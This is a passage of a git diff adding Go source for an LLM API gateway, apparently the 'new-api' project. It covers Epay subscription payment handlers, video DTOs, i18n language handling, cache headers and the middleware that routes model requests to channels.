+		common.ApiErrorMsg(c, "回调地址配置错误")
+		return
+	}
+
+	tradeNo := fmt.Sprintf("%s%d", common.GetRandomString(6), time.Now().Unix())
+	tradeNo = fmt.Sprintf("SUBUSR%dNO%s", userId, tradeNo)
+
+	client := GetEpayClient()
+	if client == nil {
+		common.ApiErrorMsg(c, "当前管理员未配置支付信息")
+		return
+	}
+
+	order := &model.SubscriptionOrder{
+		UserId:          userId,
+		PlanId:          plan.Id,
+		Money:           plan.PriceAmount,
+		TradeNo:         tradeNo,
+		PaymentMethod:   req.PaymentMethod,
+		PaymentProvider: model.PaymentProviderEpay,
+		CreateTime:      time.Now().Unix(),
+		Status:          common.TopUpStatusPending,
+	}
+	if err := order.Insert(); err != nil {
+		common.ApiErrorMsg(c, "创建订单失败")
+		return
+	}
+	uri, params, err := client.Purchase(&epay.PurchaseArgs{
+		Type:           req.PaymentMethod,
+		ServiceTradeNo: tradeNo,
+		Name:           fmt.Sprintf("SUB:%s", plan.Title),
+		Money:          strconv.FormatFloat(plan.PriceAmount, 'f', 2, 64),
+		Device:         epay.PC,
+		NotifyUrl:      notifyUrl,
+		ReturnUrl:      returnUrl,
+	})
+	if err != nil {
+		_ = model.ExpireSubscriptionOrder(tradeNo, model.PaymentProviderEpay)
+		common.ApiErrorMsg(c, "拉起支付失败")
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{"message": "success", "data": params, "url": uri})
+}
+
+func SubscriptionEpayNotify(c *gin.Context) {
+	var params map[string]string
+
+	if c.Request.Method == "POST" {
+		// POST 请求：从 POST body 解析参数
+		if err := c.Request.ParseForm(); err != nil {
+			_, _ = c.Writer.Write([]byte("fail"))
+			return
+		}
+		params = lo.Reduce(lo.Keys(c.Request.PostForm), func(r map[string]string, t string, i int) map[string]string {
+			r[t] = c.Request.PostForm.Get(t)
+			return r
+		}, map[string]string{})
+	} else {
+		// GET 请求：从 URL Query 解析参数
+		params = lo.Reduce(lo.Keys(c.Request.URL.Query()), func(r map[string]string, t string, i int) map[string]string {
+			r[t] = c.Request.URL.Query().Get(t)
+			return r
+		}, map[string]string{})
+	}
+
+	if len(params) == 0 {
+		_, _ = c.Writer.Write([]byte("fail"))
+		return
+	}
+
+	client := GetEpayClient()
+	if client == nil {
+		_, _ = c.Writer.Write([]byte("fail"))
+		return
+	}
+	verifyInfo, err := client.Verify(params)
+	if err != nil || !verifyInfo.VerifyStatus {
+		_, _ = c.Writer.Write([]byte("fail"))
+		return
+	}
+
+	if verifyInfo.TradeStatus != epay.StatusTradeSuccess {
+		_, _ = c.Writer.Write([]byte("fail"))
+		return
+	}
+
+	LockOrder(verifyInfo.ServiceTradeNo)
+	defer UnlockOrder(verifyInfo.ServiceTradeNo)
+
+	if err := model.CompleteSubscriptionOrder(verifyInfo.ServiceTradeNo, common.GetJsonString(verifyInfo), model.PaymentProviderEpay, verifyInfo.Type); err != nil {
+		_, _ = c.Writer.Write([]byte("fail"))
+		return
+	}
+
+	_, _ = c.Writer.Write([]byte("success"))
+}
+
+// SubscriptionEpayReturn handles browser return after payment.
+// It verifies the payload and completes the order, then redirects to console.
+func SubscriptionEpayReturn(c *gin.Context) {
+	var params map[string]string
+
+	if c.Request.Method == "POST" {
+		// POST 请求：从 POST body 解析参数
+		if err := c.Request.ParseForm(); err != nil {
+			c.Redirect(http.StatusFound, system_setting.ServerAddress+"/console/topup?pay=fail")
+			return
+		}
+		params = lo.Reduce(lo.Keys(c.Request.PostForm), func(r map[string]string, t string, i int) map[string]string {
+			r[t] = c.Request.PostForm.Get(t)
+			return r
+		}, map[string]string{})
+	} else {
+		// GET 请求：从 URL Query 解析参数
+		params = lo.Reduce(lo.Keys(c.Request.URL.Query()), func(r map[string]string, t string, i int) map[string]string {
+			r[t] = c.Request.URL.Query().Get(t)
+			return r
+		}, map[string]string{})
+	}
+
+	if len(params) == 0 {
+		c.Redirect(http.StatusFound, system_setting.ServerAddress+"/console/topup?pay=fail")
+		return
+	}
+
+	client := GetEpayClient()
+	if client == nil {
+		c.Redirect(http.StatusFound, system_setting.ServerAddress+"/console/topup?pay=fail")
+		return
+	}
+	verifyInfo, err := client.Verify(params)
+	if err != nil || !verifyInfo.VerifyStatus {
+		c.Redirect(http.StatusFound, system_setting.ServerAddress+"/console/topup?pay=fail")
+		return
+	}
+	if verifyInfo.TradeStatus == epay.StatusTradeSuccess {
+		LockOrder(verifyInfo.ServiceTradeNo)
+		defer UnlockOrder(verifyInfo.ServiceTradeNo)
+		if err := model.CompleteSubscriptionOrder(verifyInfo.ServiceTradeNo, common.GetJsonString(verifyInfo), model.PaymentProviderEpay, verifyInfo.Type); err != nil {
+			c.Redirect(http.StatusFound, system_setting.ServerAddress+"/console/topup?pay=fail")
+			return
+		}
+		c.Redirect(http.StatusFound, system_setting.ServerAddress+"/console/topup?pay=success")
+		return
+	}
+	c.Redirect(http.StatusFound, system_setting.ServerAddress+"/console/topup?pay=pending")
+}
diff --git a/_all-in-one-upload/new-api/docker-compose.local.yml b/_all-in-one-upload/new-api/docker-compose.local.yml
new file mode 100644
index 0000000..cbde737
--- /dev/null
+++ b/_all-in-one-upload/new-api/docker-compose.local.yml
@@ -0,0 +1,4 @@
+services:
+  new-api:
+    ports:
+      - "3001:3000"
diff --git a/_all-in-one-upload/new-api/docs/images/aliyun.png b/_all-in-one-upload/new-api/docs/images/aliyun.png
new file mode 100644
index 0000000..6266bfb
Binary files /dev/null and b/_all-in-one-upload/new-api/docs/images/aliyun.png differ
diff --git a/_all-in-one-upload/new-api/dto/video.go b/_all-in-one-upload/new-api/dto/video.go
new file mode 100644
index 0000000..5b48146
--- /dev/null
+++ b/_all-in-one-upload/new-api/dto/video.go
@@ -0,0 +1,47 @@
+package dto
+
+type VideoRequest struct {
+	Model          string         `json:"model,omitempty" example:"kling-v1"`                                                                                                                                    // Model/style ID
+	Prompt         string         `json:"prompt,omitempty" example:"宇航员站起身走了"`                                                                                                                                   // Text prompt
+	Image          string         `json:"image,omitempty" example:"https://h2.inkwai.com/bs2/upload-ylab-stunt/se/ai_portal_queue_mmu_image_upscale_aiweb/3214b798-e1b4-4b00-b7af-72b5b0417420_raw_image_0.jpg"` // Image input (URL/Base64)
+	Duration       float64        `json:"duration" example:"5.0"`                                                                                                                                                // Video duration (seconds)
+	Width          int            `json:"width" example:"512"`                                                                                                                                                   // Video width
+	Height         int            `json:"height" example:"512"`                                                                                                                                                  // Video height
+	Fps            int            `json:"fps,omitempty" example:"30"`                                                                                                                                            // Video frame rate
+	Seed           int            `json:"seed,omitempty" example:"20231234"`                                                                                                                                     // Random seed
+	N              int            `json:"n,omitempty" example:"1"`                                                                                                                                               // Number of videos to generate
+	ResponseFormat string         `json:"response_format,omitempty" example:"url"`                                                                                                                               // Response format
+	User           string         `json:"user,omitempty" example:"user-1234"`                                                                                                                                    // User identifier
+	Metadata       map[string]any `json:"metadata,omitempty"`                                                                                                                                                    // Vendor-specific/custom params (e.g. negative_prompt, style, quality_level, etc.)
+}
+
+// VideoResponse 视频生成提交任务后的响应
+type VideoResponse struct {
+	TaskId string `json:"task_id"`
+	Status string `json:"status"`
+}
+
+// VideoTaskResponse 查询视频生成任务状态的响应
+type VideoTaskResponse struct {
+	TaskId   string             `json:"task_id" example:"abcd1234efgh"` // 任务ID
+	Status   string             `json:"status" example:"succeeded"`     // 任务状态
+	Url      string             `json:"url,omitempty"`                  // 视频资源URL（成功时）
+	Format   string             `json:"format,omitempty" example:"mp4"` // 视频格式
+	Metadata *VideoTaskMetadata `json:"metadata,omitempty"`             // 结果元数据
+	Error    *VideoTaskError    `json:"error,omitempty"`                // 错误信息（失败时）
+}
+
+// VideoTaskMetadata 视频任务元数据
+type VideoTaskMetadata struct {
+	Duration float64 `json:"duration" example:"5.0"`  // 实际生成的视频时长
+	Fps      int     `json:"fps" example:"30"`        // 实际帧率
+	Width    int     `json:"width" example:"512"`     // 实际宽度
+	Height   int     `json:"height" example:"512"`    // 实际高度
+	Seed     int     `json:"seed" example:"20231234"` // 使用的随机种子
+}
+
+// VideoTaskError 视频任务错误信息
+type VideoTaskError struct {
+	Code    int    `json:"code"`
+	Message string `json:"message"`
+}
diff --git a/_all-in-one-upload/new-api/i18n/i18n.go b/_all-in-one-upload/new-api/i18n/i18n.go
new file mode 100644
index 0000000..7ca8d2a
--- /dev/null
+++ b/_all-in-one-upload/new-api/i18n/i18n.go
@@ -0,0 +1,231 @@
+package i18n
+
+import (
+	"embed"
+	"strings"
+	"sync"
+
+	"github.com/gin-gonic/gin"
+	"github.com/nicksnyder/go-i18n/v2/i18n"
+	"golang.org/x/text/language"
+	"gopkg.in/yaml.v3"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+)
+
+const (
+	LangZhCN    = "zh-CN"
+	LangZhTW    = "zh-TW"
+	LangEn      = "en"
+	DefaultLang = LangEn // Fallback to English if language not supported
+)
+
+//go:embed locales/*.yaml
+var localeFS embed.FS
+
+var (
+	bundle     *i18n.Bundle
+	localizers = make(map[string]*i18n.Localizer)
+	mu         sync.RWMutex
+	initOnce   sync.Once
+)
+
+// Init initializes the i18n bundle and loads all translation files
+func Init() error {
+	var initErr error
+	initOnce.Do(func() {
+		bundle = i18n.NewBundle(language.Chinese)
+		bundle.RegisterUnmarshalFunc("yaml", yaml.Unmarshal)
+
+		// Load embedded translation files
+		files := []string{"locales/zh-CN.yaml", "locales/zh-TW.yaml", "locales/en.yaml"}
+		for _, file := range files {
+			_, err := bundle.LoadMessageFileFS(localeFS, file)
+			if err != nil {
+				initErr = err
+				return
+			}
+		}
+
+		// Pre-create localizers for supported languages
+		localizers[LangZhCN] = i18n.NewLocalizer(bundle, LangZhCN)
+		localizers[LangZhTW] = i18n.NewLocalizer(bundle, LangZhTW)
+		localizers[LangEn] = i18n.NewLocalizer(bundle, LangEn)
+
+		// Set the TranslateMessage function in common package
+		common.TranslateMessage = T
+	})
+	return initErr
+}
+
+// GetLocalizer returns a localizer for the specified language
+func GetLocalizer(lang string) *i18n.Localizer {
+	lang = normalizeLang(lang)
+
+	mu.RLock()
+	loc, ok := localizers[lang]
+	mu.RUnlock()
+
+	if ok {
+		return loc
+	}
+
+	// Create new localizer for unknown language (fallback to default)
+	mu.Lock()
+	defer mu.Unlock()
+
+	// Double-check after acquiring write lock
+	if loc, ok = localizers[lang]; ok {
+		return loc
+	}
+
+	loc = i18n.NewLocalizer(bundle, lang, DefaultLang)
+	localizers[lang] = loc
+	return loc
+}
+
+// T translates a message key using the language from gin context
+func T(c *gin.Context, key string, args ...map[string]any) string {
+	lang := GetLangFromContext(c)
+	return Translate(lang, key, args...)
+}
+
+// Translate translates a message key for the specified language
+func Translate(lang, key string, args ...map[string]any) string {
+	loc := GetLocalizer(lang)
+
+	config := &i18n.LocalizeConfig{
+		MessageID: key,
+	}
+
+	if len(args) > 0 && args[0] != nil {
+		config.TemplateData = args[0]
+	}
+
+	msg, err := loc.Localize(config)
+	if err != nil {
+		// Return key as fallback if translation not found
+		return key
+	}
+	return msg
+}
+
+// userLangLoaderFunc is a function that loads user language from database/cache
+// It's set by the model package to avoid circular imports
+var userLangLoaderFunc func(userId int) string
+
+// SetUserLangLoader sets the function to load user language (called from model package)
+func SetUserLangLoader(loader func(userId int) string) {
+	userLangLoaderFunc = loader
+}
+
+// GetLangFromContext extracts the language setting from gin context
+// It checks multiple sources in priority order:
+// 1. User settings (ContextKeyUserSetting) - if already loaded (e.g., by TokenAuth)
+// 2. Lazy load user language from cache/DB using user ID
+// 3. Language set by middleware (ContextKeyLanguage) - from Accept-Language header
+// 4. Default language (English)
+func GetLangFromContext(c *gin.Context) string {
+	if c == nil {
+		return DefaultLang
+	}
+
+	// 1. Try to get language from user settings (if already loaded by TokenAuth or other middleware)
+	if userSetting, ok := common.GetContextKeyType[dto.UserSetting](c, constant.ContextKeyUserSetting); ok {
+		if userSetting.Language != "" {
+			normalized := normalizeLang(userSetting.Language)
+			if IsSupported(normalized) {
+				return normalized
+			}
+		}
+	}
+
+	// 2. Lazy load user language using user ID (for session-based auth where full settings aren't loaded)
+	if userLangLoaderFunc != nil {
+		if userId, exists := c.Get("id"); exists {
+			if uid, ok := userId.(int); ok && uid > 0 {
+				lang := userLangLoaderFunc(uid)
+				if lang != "" {
+					normalized := normalizeLang(lang)
+					if IsSupported(normalized) {
+						return normalized
+					}
+				}
+			}
+		}
+	}
+
+	// 3. Try to get language from context (set by I18n middleware from Accept-Language)
+	if lang := c.GetString(string(constant.ContextKeyLanguage)); lang != "" {
+		normalized := normalizeLang(lang)
+		if IsSupported(normalized) {
+			return normalized
+		}
+	}
+
+	// 4. Try Accept-Language header directly (fallback if middleware didn't run)
+	if acceptLang := c.GetHeader("Accept-Language"); acceptLang != "" {
+		lang := ParseAcceptLanguage(acceptLang)
+		if IsSupported(lang) {
+			return lang
+		}
+	}
+
+	return DefaultLang
+}
+
+// ParseAcceptLanguage parses the Accept-Language header and returns the preferred language
+func ParseAcceptLanguage(header string) string {
+	if header == "" {
+		return DefaultLang
+	}
+
+	// Simple parsing: take the first language tag
+	parts := strings.Split(header, ",")
+	if len(parts) == 0 {
+		return DefaultLang
+	}
+
+	// Get the first language and remove quality value
+	firstLang := strings.TrimSpace(parts[0])
+	if idx := strings.Index(firstLang, ";"); idx > 0 {
+		firstLang = firstLang[:idx]
+	}
+
+	return normalizeLang(firstLang)
+}
+
+// normalizeLang normalizes language code to supported format
+func normalizeLang(lang string) string {
+	lang = strings.ToLower(strings.TrimSpace(lang))
+
+	// Handle common variations
+	switch {
+	case strings.HasPrefix(lang, "zh-tw"):
+		return LangZhTW
+	case strings.HasPrefix(lang, "zh"):
+		return LangZhCN
+	case strings.HasPrefix(lang, "en"):
+		return LangEn
+	default:
+		return DefaultLang
+	}
+}
+
+// SupportedLanguages returns a list of supported language codes
+func SupportedLanguages() []string {
+	return []string{LangZhCN, LangZhTW, LangEn}
+}
+
+// IsSupported checks if a language code is supported
+func IsSupported(lang string) bool {
+	lang = normalizeLang(lang)
+	for _, supported := range SupportedLanguages() {
+		if lang == supported {
+			return true
+		}
+	}
+	return false
+}
diff --git a/_all-in-one-upload/new-api/middleware/cache.go b/_all-in-one-upload/new-api/middleware/cache.go
new file mode 100644
index 0000000..1a9dff8
--- /dev/null
+++ b/_all-in-one-upload/new-api/middleware/cache.go
@@ -0,0 +1,17 @@
+package middleware
+
+import (
+	"github.com/gin-gonic/gin"
+)
+
+func Cache() func(c *gin.Context) {
+	return func(c *gin.Context) {
+		if c.Request.RequestURI == "/" {
+			c.Header("Cache-Control", "no-cache")
+		} else {
+			c.Header("Cache-Control", "max-age=604800") // one week
+		}
+		c.Header("Cache-Version", "b688f2fb5be447c25e5aa3bd063087a83db32a288bf6a4f35f2d8db310e40b14")
+		c.Next()
+	}
+}
diff --git a/_all-in-one-upload/new-api/middleware/distributor.go b/_all-in-one-upload/new-api/middleware/distributor.go
new file mode 100644
index 0000000..2263fae
--- /dev/null
+++ b/_all-in-one-upload/new-api/middleware/distributor.go
@@ -0,0 +1,435 @@
+package middleware
+
+import (
+	"errors"
+	"fmt"
+	"net/http"
+	"slices"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/i18n"
+	"github.com/QuantumNous/new-api/model"
+	relayconstant "github.com/QuantumNous/new-api/relay/constant"
+	"github.com/QuantumNous/new-api/service"
+	"github.com/QuantumNous/new-api/setting/ratio_setting"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/gin-gonic/gin"
+)
+
+type ModelRequest struct {
+	Model string `json:"model"`
+	Group string `json:"group,omitempty"`
+}
+
+func Distribute() func(c *gin.Context) {
+	return func(c *gin.Context) {
+		var channel *model.Channel
+		channelId, ok := common.GetContextKey(c, constant.ContextKeyTokenSpecificChannelId)
+		modelRequest, shouldSelectChannel, err := getModelRequest(c)
+		if err != nil {
+			abortWithOpenAiMessage(c, http.StatusBadRequest, i18n.T(c, i18n.MsgDistributorInvalidRequest, map[string]any{"Error": err.Error()}))
+			return
+		}
+		if ok {
+			id, err := strconv.Atoi(channelId.(string))
+			if err != nil {
+				abortWithOpenAiMessage(c, http.StatusBadRequest, i18n.T(c, i18n.MsgDistributorInvalidChannelId))
+				return
+			}
+			channel, err = model.GetChannelById(id, true)
+			if err != nil {
+				abortWithOpenAiMessage(c, http.StatusBadRequest, i18n.T(c, i18n.MsgDistributorInvalidChannelId))
+				return
+			}
+			if channel.Status != common.ChannelStatusEnabled {
+				abortWithOpenAiMessage(c, http.StatusForbidden, i18n.T(c, i18n.MsgDistributorChannelDisabled))
+				return
+			}
+		} else {
+			// Select a channel for the user
+			// check token model mapping
+			modelLimitEnable := common.GetContextKeyBool(c, constant.ContextKeyTokenModelLimitEnabled)
+			if modelLimitEnable {
+				s, ok := common.GetContextKey(c, constant.ContextKeyTokenModelLimit)
+				if !ok {
+					// token model limit is empty, all models are not allowed
+					abortWithOpenAiMessage(c, http.StatusForbidden, i18n.T(c, i18n.MsgDistributorTokenNoModelAccess))
+					return
+				}
+				var tokenModelLimit map[string]bool
+				tokenModelLimit, ok = s.(map[string]bool)
+				if !ok {
+					tokenModelLimit = map[string]bool{}
+				}
+				matchName := ratio_setting.FormatMatchingModelName(modelRequest.Model) // match gpts & thinking-*
+				if _, ok := tokenModelLimit[matchName]; !ok {
+					abortWithOpenAiMessage(c, http.StatusForbidden, i18n.T(c, i18n.MsgDistributorTokenModelForbidden, map[string]any{"Model": modelRequest.Model}))
+					return
+				}
+			}
+
+			if shouldSelectChannel {
+				if modelRequest.Model == "" {
+					abortWithOpenAiMessage(c, http.StatusBadRequest, i18n.T(c, i18n.MsgDistributorModelNameRequired))
+					return
+				}
+				var selectGroup string
+				usingGroup := common.GetContextKeyString(c, constant.ContextKeyUsingGroup)
+				// check path is /pg/chat/completions
+				if strings.HasPrefix(c.Request.URL.Path, "/pg/chat/completions") {
+					playgroundRequest := &dto.PlayGroundRequest{}
+					err = common.UnmarshalBodyReusable(c, playgroundRequest)
+					if err != nil {
+						abortWithOpenAiMessage(c, http.StatusBadRequest, i18n.T(c, i18n.MsgDistributorInvalidPlayground, map[string]any{"Error": err.Error()}))
+						return
+					}
+					if playgroundRequest.Group != "" {
+						if !service.GroupInUserUsableGroups(usingGroup, playgroundRequest.Group) && playgroundRequest.Group != usingGroup {
+							abortWithOpenAiMessage(c, http.StatusForbidden, i18n.T(c, i18n.MsgDistributorGroupAccessDenied))
+							return
+						}
+						usingGroup = playgroundRequest.Group
+						common.SetContextKey(c, constant.ContextKeyUsingGroup, usingGroup)
+					}
+				}
+
+				if preferredChannelID, found := service.GetPreferredChannelByAffinity(c, modelRequest.Model, usingGroup); found {
+					preferred, err := model.CacheGetChannel(preferredChannelID)
+					if err == nil && preferred != nil {
+						if preferred.Status != common.ChannelStatusEnabled {
+							if service.ShouldSkipRetryAfterChannelAffinityFailure(c) {
+								abortWithOpenAiMessage(c, http.StatusForbidden, i18n.T(c, i18n.MsgDistributorAffinityChannelDisabled))
+								return
+							}
+						} else if usingGroup == "auto" {
+							userGroup := common.GetContextKeyString(c, constant.ContextKeyUserGroup)
+							autoGroups := service.GetUserAutoGroup(userGroup)
+							for _, g := range autoGroups {
+								if model.IsChannelEnabledForGroupModel(g, modelRequest.Model, preferred.Id) {
+									selectGroup = g
+									common.SetContextKey(c, constant.ContextKeyAutoGroup, g)
+									channel = preferred
+									service.MarkChannelAffinityUsed(c, g, preferred.Id)
+									break
+								}
+							}
+						} else if model.IsChannelEnabledForGroupModel(usingGroup, modelRequest.Model, preferred.Id) {
+							channel = preferred
+							selectGroup = usingGroup
+							service.MarkChannelAffinityUsed(c, usingGroup, preferred.Id)
+						}
+					}
+				}
+
+				if channel == nil {
+					channel, selectGroup, err = service.CacheGetRandomSatisfiedChannel(&service.RetryParam{
+						Ctx:        c,
+						ModelName:  modelRequest.Model,
+						TokenGroup: usingGroup,
+						Retry:      common.GetPointer(0),
+					})
+					if err != nil {
+						showGroup := usingGroup
+						if usingGroup == "auto" {
+							showGroup = fmt.Sprintf("auto(%s)", selectGroup)
+						}
+						message := i18n.T(c, i18n.MsgDistributorGetChannelFailed, map[string]any{"Group": showGroup, "Model": modelRequest.Model, "Error": err.Error()})
+						// 如果错误，但是渠道不为空，说明是数据库一致性问题
+						//if channel != nil {
+						//	common.SysError(fmt.Sprintf("渠道不存在：%d", channel.Id))
+						//	message = "数据库一致性已被破坏，请联系管理员"
+						//}
+						abortWithOpenAiMessage(c, http.StatusServiceUnavailable, message, types.ErrorCodeModelNotFound)
+						return
+					}
+					if channel == nil {
+						abortWithOpenAiMessage(c, http.StatusServiceUnavailable, i18n.T(c, i18n.MsgDistributorNoAvailableChannel, map[string]any{"Group": usingGroup, "Model": modelRequest.Model}), types.ErrorCodeModelNotFound)
+						return
+					}
+				}
+			}
+		}
+		common.SetContextKey(c, constant.ContextKeyRequestStartTime, time.Now())
+		SetupContextForSelectedChannel(c, channel, modelRequest.Model)
+		c.Next()
+		if channel != nil && c.Writer != nil && c.Writer.Status() < http.StatusBadRequest {
+			service.RecordChannelAffinity(c, channel.Id)
+		}
+	}
+}
+
+// getModelFromRequest 从请求中读取模型信息
+// 根据 Content-Type 自动处理：
+// - application/json
+// - application/x-www-form-urlencoded
+// - multipart/form-data
+func getModelFromRequest(c *gin.Context) (*ModelRequest, error) {
+	var modelRequest ModelRequest
+	err := common.UnmarshalBodyReusable(c, &modelRequest)
+	if err != nil {
+		return nil, errors.New(i18n.T(c, i18n.MsgDistributorInvalidRequest, map[string]any{"Error": err.Error()}))
+	}
+	return &modelRequest, nil
+}
+
+func getModelRequest(c *gin.Context) (*ModelRequest, bool, error) {
+	var modelRequest ModelRequest
+	shouldSelectChannel := true
+	var err error
+	if strings.Contains(c.Request.URL.Path, "/mj/") {
+		relayMode := relayconstant.Path2RelayModeMidjourney(c.Request.URL.Path)
+		if relayMode == relayconstant.RelayModeMidjourneyTaskFetch ||
+			relayMode == relayconstant.RelayModeMidjourneyTaskFetchByCondition ||
+			relayMode == relayconstant.RelayModeMidjourneyNotify ||
+			relayMode == relayconstant.RelayModeMidjourneyTaskImageSeed {
+			shouldSelectChannel = false
+		} else {
+			midjourneyRequest := dto.MidjourneyRequest{}
+			err = common.UnmarshalBodyReusable(c, &midjourneyRequest)
+			if err != nil {
+				return nil, false, errors.New(i18n.T(c, i18n.MsgDistributorInvalidMidjourney, map[string]any{"Error": err.Error()}))
+			}
+			midjourneyModel, mjErr, success := service.GetMjRequestModel(relayMode, &midjourneyRequest)
+			if mjErr != nil {
+				return nil, false, fmt.Errorf("%s", mjErr.Description)
+			}
+			if midjourneyModel == "" {
+				if !success {
+					return nil, false, fmt.Errorf("%s", i18n.T(c, i18n.MsgDistributorInvalidParseModel))
+				} else {
+					// task fetch, task fetch by condition, notify
+					shouldSelectChannel = false
+				}
+			}
+			modelRequest.Model = midjourneyModel
+		}
+		c.Set("relay_mode", relayMode)
+	} else if strings.Contains(c.Request.URL.Path, "/suno/") {
+		relayMode := relayconstant.Path2RelaySuno(c.Request.Method, c.Request.URL.Path)
+		if relayMode == relayconstant.RelayModeSunoFetch ||
+			relayMode == relayconstant.RelayModeSunoFetchByID {
+			shouldSelectChannel = false
+		} else {
+			modelName := service.CoverTaskActionToModelName(constant.TaskPlatformSuno, c.Param("action"))
+			modelRequest.Model = modelName
+		}
+		c.Set("platform", string(constant.TaskPlatformSuno))
+		c.Set("relay_mode", relayMode)
+	} else if strings.Contains(c.Request.URL.Path, "/v1/videos/") && strings.HasSuffix(c.Request.URL.Path, "/remix") {
+		relayMode := relayconstant.RelayModeVideoSubmit
+		c.Set("relay_mode", relayMode)
+		shouldSelectChannel = false
+	} else if strings.Contains(c.Request.URL.Path, "/v1/videos") {
+		//curl https://api.openai.com/v1/videos \
+		//  -H "Authorization: Bearer $OPENAI_API_KEY" \
+		//  -F "model=sora-2" \
+		//  -F "prompt=A calico cat playing a piano on stage"
+		//	-F input_reference="@image.jpg"
+		relayMode := relayconstant.RelayModeUnknown
+		if c.Request.Method == http.MethodPost {
+			relayMode = relayconstant.RelayModeVideoSubmit
+			req, err := getModelFromRequest(c)
+			if err != nil {
+				return nil, false, err
+			}
+			if req != nil {
+				modelRequest.Model = req.Model
+			}
+		} else if c.Request.Method == http.MethodGet {
+			relayMode = relayconstant.RelayModeVideoFetchByID
+			shouldSelectChannel = false
+		}
+		c.Set("relay_mode", relayMode)
+	} else if strings.Contains(c.Request.URL.Path, "/v1/video/generations") {
+		relayMode := relayconstant.RelayModeUnknown
+		if c.Request.Method == http.MethodPost {
+			req, err := getModelFromRequest(c)
+			if err != nil {
+				return nil, false, err
+			}
+			modelRequest.Model = req.Model
+			relayMode = relayconstant.RelayModeVideoSubmit
+		} else if c.Request.Method == http.MethodGet {
+			relayMode = relayconstant.RelayModeVideoFetchByID
+			shouldSelectChannel = false
+		}
+		if _, ok := c.Get("relay_mode"); !ok {
+			c.Set("relay_mode", relayMode)
+		}
+	} else if strings.HasPrefix(c.Request.URL.Path, "/v1beta/models/") || strings.HasPrefix(c.Request.URL.Path, "/v1/models/") {
+		// Gemini API 路径处理: /v1beta/models/gemini-2.0-flash:generateContent
+		relayMode := relayconstant.RelayModeGemini
+		modelName := extractModelNameFromGeminiPath(c.Request.URL.Path)
+		if modelName != "" {
+			modelRequest.Model = modelName
+		}
+		c.Set("relay_mode", relayMode)
+	} else if !strings.HasPrefix(c.Request.URL.Path, "/v1/audio/transcriptions") && !strings.Contains(c.Request.Header.Get("Content-Type"), "multipart/form-data") {
+		req, err := getModelFromRequest(c)
+		if err != nil {
+			return nil, false, err
+		}
+		modelRequest.Model = req.Model
+	}
+	if strings.HasPrefix(c.Request.URL.Path, "/v1/realtime") {
+		//wss://api.openai.com/v1/realtime?model=gpt-4o-realtime-preview-2024-10-01
+		modelRequest.Model = c.Query("model")
+	}
+	if strings.HasPrefix(c.Request.URL.Path, "/v1/moderations") {
+		if modelRequest.Model == "" {
+			modelRequest.Model = "text-moderation-stable"
+		}
+	}
+	if strings.HasSuffix(c.Request.URL.Path, "embeddings") {
+		if modelRequest.Model == "" {
+			modelRequest.Model = c.Param("model")
+		}
+	}
+	if strings.HasPrefix(c.Request.URL.Path, "/v1/images/generations") {
+		modelRequest.Model = common.GetStringIfEmpty(modelRequest.Model, "dall-e")
+	} else if strings.HasPrefix(c.Request.URL.Path, "/v1/images/edits") {
+		//modelRequest.Model = common.GetStringIfEmpty(c.PostForm("model"), "gpt-image-1")
+		contentType := c.ContentType()
+		if slices.Contains([]string{gin.MIMEPOSTForm, gin.MIMEMultipartPOSTForm}, contentType) {
+			req, err := getModelFromRequest(c)
+			if err == nil && req.Model != "" {
+				modelRequest.Model = req.Model
+			}
+		}
+	}
+	if strings.HasPrefix(c.Request.URL.Path, "/v1/audio") {
+		relayMode := relayconstant.RelayModeAudioSpeech
+		if strings.HasPrefix(c.Request.URL.Path, "/v1/audio/speech") {
+
+			modelRequest.Model = common.GetStringIfEmpty(modelRequest.Model, "tts-1")
+		} else if strings.HasPrefix(c.Request.URL.Path, "/v1/audio/translations") {
+			// 先尝试从请求读取
+			if req, err := getModelFromRequest(c); err == nil && req.Model != "" {
+				modelRequest.Model = req.Model
+			}
+			modelRequest.Model = common.GetStringIfEmpty(modelRequest.Model, "whisper-1")
+			relayMode = relayconstant.RelayModeAudioTranslation
+		} else if strings.HasPrefix(c.Request.URL.Path, "/v1/audio/transcriptions") {
+			// 先尝试从请求读取
+			if req, err := getModelFromRequest(c); err == nil && req.Model != "" {
+				modelRequest.Model = req.Model
+			}
+			modelRequest.Model = common.GetStringIfEmpty(modelRequest.Model, "whisper-1")
+			relayMode = relayconstant.RelayModeAudioTranscription
+		}
+		c.Set("relay_mode", relayMode)
+	}
+	if strings.HasPrefix(c.Request.URL.Path, "/pg/chat/completions") {
+		// playground chat completions
+		req, err := getModelFromRequest(c)
+		if err != nil {
+			return nil, false, err
+		}
+		modelRequest.Model = req.Model
+		modelRequest.Group = req.Group
+		common.SetContextKey(c, constant.ContextKeyTokenGroup, modelRequest.Group)
+	}
+
+	if strings.HasPrefix(c.Request.URL.Path, "/v1/responses/compact") && modelRequest.Model != "" {
+		modelRequest.Model = ratio_setting.WithCompactModelSuffix(modelRequest.Model)
+	}
+	return &modelRequest, shouldSelectChannel, nil
+}
+
+func SetupContextForSelectedChannel(c *gin.Context, channel *model.Channel, modelName string) *types.NewAPIError {
+	c.Set("original_model", modelName) // for retry
+	if channel == nil {
+		return types.NewError(errors.New("channel is nil"), types.ErrorCodeGetChannelFailed, types.ErrOptionWithSkipRetry())
+	}
+	common.SetContextKey(c, constant.ContextKeyChannelId, channel.Id)
+	common.SetContextKey(c, constant.ContextKeyChannelName, channel.Name)
+	common.SetContextKey(c, constant.ContextKeyChannelType, channel.Type)
+	common.SetContextKey(c, constant.ContextKeyChannelCreateTime, channel.CreatedTime)
+	common.SetContextKey(c, constant.ContextKeyChannelSetting, channel.GetSetting())
+	common.SetContextKey(c, constant.ContextKeyChannelOtherSetting, channel.GetOtherSettings())
+	paramOverride := channel.GetParamOverride()
+	headerOverride := channel.GetHeaderOverride()
+	if mergedParam, applied := service.ApplyChannelAffinityOverrideTemplate(c, paramOverride); applied {
+		paramOverride = mergedParam
+	}
+	common.SetContextKey(c, constant.ContextKeyChannelParamOverride, paramOverride)
+	common.SetContextKey(c, constant.ContextKeyChannelHeaderOverride, headerOverride)
+	if nil != channel.OpenAIOrganization && *channel.OpenAIOrganization != "" {
